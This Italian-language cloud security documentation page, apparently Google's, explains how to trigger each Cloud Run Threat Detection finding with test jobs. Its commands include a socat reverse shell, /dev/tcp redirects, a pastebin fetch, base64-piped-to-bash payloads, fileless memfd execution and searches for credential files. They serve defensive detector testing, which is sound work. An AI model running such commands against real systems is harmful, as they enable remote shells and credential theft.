Questa pagina spiega come verificare che Cloud Run Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Cloud Run Threat Detection è un servizio integrato di Security Command Center.
Prima di iniziare
Per rilevare potenziali minacce ai servizi e ai job Cloud Run, assicurati che il servizio Cloud Run Threat Detection sia abilitato in Security Command Center. Alcuni rilevatori sono disattivati per impostazione predefinita. Per testare questi rilevatori, devi prima attivarli.
Imposta le variabili di ambiente
Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Utilizzerai queste variabili per testare tutti i rilevatori.
Vai alla consoleGoogle Cloud .
Seleziona il progetto che contiene il job Cloud Run che vuoi utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente:
Imposta il progetto e la regione in cui creerai i job di test.
export PROJECT=PROJECT_ID export REGION=REGION
Una volta impostate le variabili di ambiente, puoi continuare a seguire le istruzioni per testare i rilevatori.
Comando e controllo: strumento di steganografia rilevato
Per attivare un risultato Command and Control: Steganography Tool Detected (anteprima),
esegui un file binario con funzionalità di manipolazione dei file coerenti con
gli strumenti di steganografia all'interno di un container. Questo esempio copia /bin/ls
e lo rinomina in steghide.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Command and Control: Steganography Tool
Detected.
Accesso con credenziali: trova Google Cloud credenziali
Per attivare un risultato Credential Access: Find Google Cloud Credentials,
esegui un binario in grado di cercare i contenuti dei file all'interno di un
container. Questo esempio copia /bin/ls, lo rinomina in grep e lo esegue
con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Credential Access: Find Google Cloud Credentials.
Accesso alle credenziali: ricognizione chiave GPG
Per attivare un risultato Credential Access: GPG Key Reconnaissance, esegui uno strumento di ricerca con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Credential Access: GPG Key Reconnaissance.
Accesso con credenziali: cerca chiavi private o password
Per attivare un risultato Credential Access: Search Private Keys or Passwords, esegui
uno strumento di ricerca con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Credential Access: Search Private Keys or
Passwords.
Evasione della difesa: riga di comando file ELF Base64
Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, esegui
base64 con argomenti di intestazione ELF codificati.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line.
Evasione della difesa: script Python con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed,
esegui echo con un comando Python codificato.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Python Script Executed.
Evasione della difesa: script shell con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed,
esegui echo con un comando shell codificato.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Shell Script Executed.
Evasione della difesa: avvia strumento di compilazione codice nel container
Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container
(Anteprima), esegui uno strumento del compilatore.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool
In Container.
Esecuzione: file binario aggiuntivo dannoso eseguito
Per attivare un'esecuzione: è stato aggiunto il risultato File binario aggiuntivo dannoso eseguito. Aggiungi un file binario dannoso (EICAR) al contenitore ed eseguilo.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: file binario aggiuntivo dannoso eseguito.
Esecuzione: libreria dannosa aggiuntiva caricata
Per attivare un'esecuzione: è stato aggiunto il risultato Libreria dannosa caricata, aggiungi
una libreria dannosa nel tuo container e caricala. Questo
esempio aggiorna il file /tmp/test_mal_lib
con una libreria dannosa simulata e poi lo carica utilizzando mmap. Il caricamento della libreria di un file esistente è imprevisto perché il file non si trovava nell'immagine container originale e la libreria è un file di test EICAR, classificato come dannoso da threat intelligence.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: libreria dannosa aggiuntiva caricata.
Esecuzione: container escape
Per attivare un'esecuzione: risultato di tipo Container Escape, esegui uno strumento che simula il comportamento di container escape.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: escape dal container.
Esecuzione: esecuzione senza file in /memfd:
Per attivare un risultato Execution: Fileless Execution in /memfd:,
esegui un processo dal file system in memoria /memfd: utilizzando Python.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Fileless Execution in /memfd:.
Esecuzione: esecuzione dello strumento di attacco Kubernetes
Per attivare un'esecuzione: risultato Esecuzione dello strumento di attacco Kubernetes, esegui un programma che corrisponda a uno strumento di attacco noto.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: strumento di attacco Kubernetes.
Esecuzione: esecuzione dello strumento di ricognizione locale
Per attivare un risultato Execution: Local Reconnaissance Tool Execution, esegui
un programma che corrisponda a uno strumento di ricognizione.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato di esecuzione: esecuzione dello strumento di ricognizione locale.
Esecuzione: File binario dannoso modificato eseguito
Per attivare un risultato Esecuzione: file binario dannoso modificato eseguito, modifica un file binario in modo che corrisponda a una firma dannosa nota (EICAR).
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: File binario dannoso modificato eseguito.
Esecuzione: libreria dannosa modificata caricata
Per attivare un risultato Esecuzione: libreria dannosa modificata caricata, modifica un file esistente con una libreria dannosa nel tuo container e caricalo. Questo
esempio aggiorna il file /etc/issue
con una libreria dannosa simulata e poi lo carica utilizzando mmap. Il caricamento
della libreria di un file esistente è imprevisto perché la libreria è un file di test EICAR, classificato come dannoso da Threat Intelligence.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: libreria dannosa modificata caricata.
Esecuzione: Esecuzione del codice remoto Netcat nel container
Per attivare un evento Execution: Netcat Remote Code Execution In Container,
esegui netcat con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Netcat Remote Code Execution In
Container.
Esecuzione: Possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47076)
Per attivare un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), esegui uno script che simula l'exploit.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Esecuzione: Possibile esecuzione di comando remoto rilevata
Per attivare un risultato Execution: Possible Remote Command Execution Detected
(anteprima), esegui un comando che tenta una connessione remota.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Possible Remote Command
Execution Detected.
Esecuzione: Esecuzione del programma con ambiente proxy HTTP non consentito
Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env,
esegui un programma con una variabile di ambiente proxy errata.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Program Run with Disallowed
HTTP Proxy Env.
Esecuzione: rilevata reverse shell Socat
Per attivare un risultato Execution: Socat Reverse Shell Detected, stabilisci una
shell inversa utilizzando l'utilità socat.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Socat Reverse Shell Detected.
Esecuzione: Oggetto condiviso OpenSSL sospetto caricato
Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded,
esegui openssl con una libreria sospetta.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Suspicious OpenSSL Shared Object Loaded.
Esfiltrazione: avvia strumenti di copia file remoti nel container
Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui uno strumento di copia remota.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Exfiltration: Launch Remote File Copy Tools
In Container.
Impatto: Rileva cmdline dannose
Per attivare un risultato Impact: Detect Malicious Cmdlines (Anteprima),
esegui un nome di comando sospetto (IPFS).
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines.
Impatto: Rimuovi dati collettivi dal disco
Per attivare un risultato Impact: Remove Bulk Data From Disk, esegui uno strumento
come shred.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Remove Bulk Data From Disk.
Impatto: attività sospetta di estrazione di criptovalute mediante il protocollo Stratum
Per attivare un risultato Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, esegui un file binario con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Script dannoso eseguito
Per attivare un risultato Script dannoso eseguito, esegui uno script che simula un comportamento dannoso.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato di tipo Script dannoso eseguito.
Rilevato URL dannoso
Per attivare un risultato Rilevato URL dannoso, esegui un file binario e fornisci un URL dannoso come argomento.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test attiva un risultato URL dannoso osservato.
Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)
Per attivare un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), esegui il file binario sudo con il parametro -u#-1.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Escalation dei privilegi: potenziale escalation dei privilegi sudo (CVE-2021-3156)
Per attivare un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), esegui il file binario sudo con il parametro -s e un parametro che termina con ".
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)
Per attivare un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), esegui un binario pkexec con la variabile di ambiente GCONV_PATH impostata come utente non root.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Shell inversa
Per attivare un risultato reverse shell, avvia un file binario con il reindirizzamento stdin a un socket connesso tramite TCP.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Reverse Shell.
Esecuzione: immagine Docker per il cryptomining
Per attivare un'esecuzione: risultato di cryptomining per immagini Docker, esegui il deployment di un container utilizzando un nome di immagine Docker associato a un software di cryptomining.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Esecuzione: immagine Docker per il cryptomining. Tieni presente che il deployment del job non andrà a buon fine perché l'immagine non esiste, ma il risultato verrà comunque generato.
Impatto: comandi di cryptomining
Per attivare un risultato Impact: Cryptomining Commands, esegui un comando con
argomenti simili a software di cryptomining noti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Cryptomining Commands.
Escalation dei privilegi: Default Compute Engine Service Account SetIAMPolicy
Per attivare un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, esegui un comando che utilizza il account di servizio Compute Engine predefinito per impostare il criterio IAM di un servizio Cloud Run.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Passaggi successivi
- Scopri di più su Cloud Run Threat Detection.
- Scopri come utilizzare Cloud Run Threat Detection.